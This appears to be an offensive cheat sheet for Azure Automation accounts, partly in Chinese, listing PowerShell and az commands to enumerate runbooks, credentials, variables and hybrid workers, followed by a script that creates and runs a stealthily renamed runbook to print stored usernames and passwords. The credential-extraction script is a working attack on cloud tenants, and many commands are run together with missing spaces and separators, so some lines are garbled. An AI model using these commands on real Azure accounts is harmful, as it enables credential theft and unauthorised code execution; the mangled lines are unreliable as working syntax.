# Check user right for automationaz extension add --upgrade -n automationaz automation account list # if it doesn't return anything the user is not a part of an Automation group# Gets Azure Automation accounts in a resource groupGet-AzAutomationAccount# List & get DSC configsGet-AzAutomationAccount|Get-AzAutomationDscConfigurationGet-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)# List & get Run books codeGet-AzAutomationAccount|Get-AzAutomationRunbookGet-AzAutomationAccount|Get-AzAutomationRunbook|Export-AzAutomationRunbook-OutputFolder /tmp# List credentials & variables & othersGet-AzAutomationAccount|Get-AzAutomationCredentialGet-AzAutomationAccount|Get-AzAutomationVariableGet-AzAutomationAccount|Get-AzAutomationConnectionGet-AzAutomationAccount|Get-AzAutomationCertificateGet-AzAutomationAccount|Get-AzAutomationScheduleGet-AzAutomationAccount|Get-AzAutomationModuleGet-AzAutomationAccount|Get-AzAutomationPython3Package## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them# List hybrid workersGet-AzAutomationHybridWorkerGroup-AutomationAccountName <AUTOMATION-ACCOUNT>-ResourceGroupName <RG-NAME>
创建一个 Runbook
# Get the role of a user on the Automation account# Contributor or higher = Can create and execute RunbooksGet-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell RunbookImport-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the RunbookPublish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the RunbookStart-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
通过运行簿从自动化帐户中提取凭据和变量
# Change the crdentials & variables names and add as many as you need@'$creds = Get-AutomationPSCredential -Name <credentials_name>$runbook_variable = Get-AutomationVariable -name <variable_name>$runbook_variable$creds.GetNetworkCredential().username$creds.GetNetworkCredential().password'@|out-file-encoding ascii 'runbook_get_creds.ps1'$ResourceGroupName ='<resource_group_name>'$AutomationAccountName ='<auto_acc_name>'$RunBookName ='Exif-Credentials'#Change this for stealthness# Creare Run book, publish, start, and get outputNew-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep20($start |Get-AzAutomationJob|Get-AzAutomationJobOutput).Summarynt